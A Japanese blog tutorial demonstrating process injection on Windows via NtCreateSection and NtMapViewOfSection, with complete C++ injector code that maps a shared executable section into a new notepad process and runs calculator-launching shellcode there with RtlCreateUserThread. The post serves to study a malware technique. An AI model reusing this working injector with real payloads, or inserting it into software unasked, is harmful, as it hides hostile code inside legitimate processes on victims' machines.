Snoozy

1.Sleep-inducing; tedious.

NtCreateSectionとNtMapViewOfSectionによるProcess Injectionをやってみる

NtCreateSectionとNtMapViewOfSectionによるProcess Injectionをやってみる

Process Injectionとは

マルウェアなどが使用する、正当なプロセスに悪意あるコードを注入する手法は一般にProcess Injectionと呼ばれる。 プロセスにコードを注入する方法は数多あるが、今回はNtCreateSection関数とNtMapViewOfSection関数を使った手法を再現してみる。

本手法の概要

injectorプロセス内にセクションを新規作成する。それをメモリマップトファイルとしてマップする。ターゲットプロセスにも同様にこのセクションをマップする。 injectorプロセスがセクションにシェルコードを書き込むことで、ターゲットプロセスにもシェルコードが共有される。 最後にターゲットプロセスに対して、開始アドレスがシェルコードが書き込まれたセクションに指定されたスレッドを新規作成することで、シェルコードがターゲットプロセス内で実行される。

今回は悪意あるシェルコードを内部に持ったinjectorプロセスが新規にメモ帳プロセスを作成し、そのプロセスに対してインジェクションを行うという想定で本手法を再現してみる。 悪意あるシェルコードの代わりとして、ももいろテクノロジーさんの電卓を起動するシェルコードを使用させてもらう。

http://inaz2.hatenablog.com/entry/2015/07/26/175115

プロセス間のデータ共有おさらい

本手法では、プロセス間のデータ共有としてWindowsが持つメモリマップトファイルの機能を使う。

まず前提として、各プロセスは独自のアドレス空間を持つためプロセス間では例えアドレスが同じであっても保持されているデータは同一ではない。

メモリマップトファイルはディスク上のファイルを仮想アドレス空間に配置し、メモリ上のデータが書き換えられたと同時にファイルの内容も書き換えるという機能だ。 このような仮想アドレス空間とファイル内容を相互に反映させるようメモリ上にデータを配置することをマッピングという。 複数のプロセス間で同一のファイルをマッピングすれば、異なるアドレス空間であっても同一のデータ領域を共有することができる。

大まかに次のような手順になる。

  1. CreateFileMapping関数によってファイルマッピングオブジェクトの作成、そのオブジェクトへのハンドルを取得する。
  2. 取得したハンドルを元に、MapViewOfFile関数で作成したオブジェクトを仮想アドレス空間マッピング
  3. メモリに対して種々の操作
  4. アンマップ
  5. ファイルマッピングオブジェクトの削除

ディスク上のファイルを伴わないメモリマップトファイル

メモリマップトファイル機能を使ったプロセス間のデータ共有について大まかにまとめた。 ただし上の手順ではディスク上に実行させたいコードが記述されたファイルを新たに作成する必要があるため攻撃者にとっては具合が悪い。

そこでNtMapViewOfSection関数を使う。 これは名前の通り仮想メモリ上のセクションをマッピングする関数だ。 このセクションオブジェクトを複数のプロセスで共有すれば、マッピングされたセクションオブジェクトは相互に反映される。

コード

上記の流れを踏まえて書いたのが以下のコード。

#include <Windows.h>
#include<stdio.h>
#pragma comment(lib, "ntdll")

typedef struct _LSA_UNICODE_STRING { USHORT Length;   USHORT MaximumLength; PWSTR  Buffer; } UNICODE_STRING, * PUNICODE_STRING;
typedef struct _OBJECT_ATTRIBUTES { ULONG Length; HANDLE RootDirectory; PUNICODE_STRING ObjectName; ULONG Attributes; PVOID SecurityDescriptor;   PVOID SecurityQualityOfService; } OBJECT_ATTRIBUTES, * POBJECT_ATTRIBUTES;
typedef struct _CLIENT_ID { PVOID UniqueProcess; PVOID UniqueThread; } CLIENT_ID, * PCLIENT_ID;
using myNtCreateSection = NTSTATUS(NTAPI*)(OUT PHANDLE SectionHandle, IN ULONG DesiredAccess, IN POBJECT_ATTRIBUTES ObjectAttributes OPTIONAL, IN PLARGE_INTEGER MaximumSize OPTIONAL, IN ULONG PageAttributess, IN ULONG SectionAttributes, IN HANDLE FileHandle OPTIONAL);
using myNtMapViewOfSection = NTSTATUS(NTAPI*)(HANDLE SectionHandle, HANDLE ProcessHandle, PVOID * BaseAddress, ULONG_PTR ZeroBits, SIZE_T CommitSize, PLARGE_INTEGER SectionOffset, PSIZE_T ViewSize, DWORD InheritDisposition, ULONG AllocationType, ULONG Win32Protect);
using myRtlCreateUserThread = NTSTATUS(NTAPI*)(IN HANDLE ProcessHandle, IN PSECURITY_DESCRIPTOR SecurityDescriptor OPTIONAL, IN BOOLEAN CreateSuspended, IN ULONG StackZeroBits, IN OUT PULONG StackReserved, IN OUT PULONG StackCommit, IN PVOID StartAddress, IN PVOID StartParameter OPTIONAL, OUT PHANDLE ThreadHandle, OUT PCLIENT_ID ClientID);

int main()
{
    unsigned char buf[] = "\xFC\xEB\x76\x51\x52\x33\xC0\x65\x48\x8B\x40\x60\x48\x8B\x40\x18\x48\x8B\x70\x10\x48\xAD\x48\x89\x44\x24\x20\x48\x8B\x68\x30\x8B\x45\x3C\x83\xC0\x18\x8B\x7C\x28\x70\x48\x03\xFD\x8B\x4F\x18\x8B\x5F\x20\x48\x03\xDD\x67\xE3\x3A\xFF\xC9\x8B\x34\x8B\x48\x03\xF5\x33\xC0\x99\xAC\x84\xC0\x74\x07\xC1\xCA\x0D\x03\xD0\xEB\xF4\x3B\x54\x24\x18\x75\xE0\x8B\x5F\x24\x48\x03\xDD\x66\x8B\x0C\x4B\x8B\x5F\x1C\x48\x03\xDD\x8B\x04\x8B\x48\x03\xC5\x5A\x59\x5E\x5F\x56\xFF\xE0\x48\x8B\x74\x24\x20\xEB\x9B\x33\xC9\x48\x8D\x51\x01\x51\x68\x63\x61\x6C\x63\x48\x8B\xCC\x48\x83\xEC\x28\x68\x98\xFE\x8A\x0E\xE8\x6D\xFF\xFF\xFF\x33\xC9\x68\x7E\xD8\xE2\x73\xE8\x61\xFF\xFF\xFF";

    myNtCreateSection fNtCreateSection = (myNtCreateSection)(GetProcAddress(GetModuleHandleA("ntdll"), "NtCreateSection"));
    myNtMapViewOfSection fNtMapViewOfSection = (myNtMapViewOfSection)(GetProcAddress(GetModuleHandleA("ntdll"), "NtMapViewOfSection"));
    myRtlCreateUserThread fRtlCreateUserThread = (myRtlCreateUserThread)(GetProcAddress(GetModuleHandleA("ntdll"), "RtlCreateUserThread"));
    SIZE_T size = 4096;    
    LARGE_INTEGER sectionSize = { size };
    HANDLE sectionHandle = NULL;
    PVOID localSectionAddress = NULL, remoteSectionAddress = NULL;

    LPSTARTUPINFOA pStartupInfo = new STARTUPINFOA();
    LPPROCESS_INFORMATION pProcessInfo = new PROCESS_INFORMATION();

    CreateProcessA(0, (LPSTR)"notepad.exe", 0, 0, 0, 0, 0, 0, pStartupInfo, pProcessInfo);
    printf("create process\n");
    
    fNtCreateSection(&sectionHandle, SECTION_MAP_READ | SECTION_MAP_WRITE | SECTION_MAP_EXECUTE, NULL, (PLARGE_INTEGER)&sectionSize, PAGE_EXECUTE_READWRITE, SEC_COMMIT, NULL);
    printf("fNtCreateSection\n");

    fNtMapViewOfSection(sectionHandle, GetCurrentProcess(), &localSectionAddress, NULL, NULL, NULL, &size, 2, NULL, PAGE_READWRITE);

    HANDLE targetHandle = OpenProcess(PROCESS_ALL_ACCESS, false, pProcessInfo->dwProcessId);

    fNtMapViewOfSection(sectionHandle, targetHandle, &remoteSectionAddress, NULL, NULL, NULL, &size, 2, NULL, PAGE_EXECUTE_READ);
    printf("fNtMapViewOfSection\n");

    memcpy(localSectionAddress, buf, sizeof(buf));

    HANDLE targetThreadHandle = NULL;
    fRtlCreateUserThread(targetHandle, NULL, FALSE, 0, 0, 0, remoteSectionAddress, NULL, &targetThreadHandle, NULL);
    printf("complete!\n");
    
    return 0;
}

デモ

以下の動画でコードのデモを見ることができる。

まずプロセスエディタで新規作成されたメモ帳のremoteSectionAddress付近のメモリ内容を表示している。

理論通りならば、次のmemcpy関数によってシェルコードがinjectorプロセスのセクションに書き込まれた瞬間、メモ帳のこのアドレスにもシェルコードが共有されるはずである。 ステップ実行すると確かにシェルコードがメモ帳プロセスの仮想メモリに共有されていることが確認できる。 その後処理を進めることで新規作成したメモ帳でシェルコードが実行され、電卓が起動している。

参考サイト

chokuto.ifdef.jp

Mimir/Mimir.cpp at master · panagioto/Mimir · GitHub

https://i.blackhat.com/USA-19/Thursday/us-19-Kotler-Process-Injection-Techniques-Gotta-Catch-Them-All-wp.pdf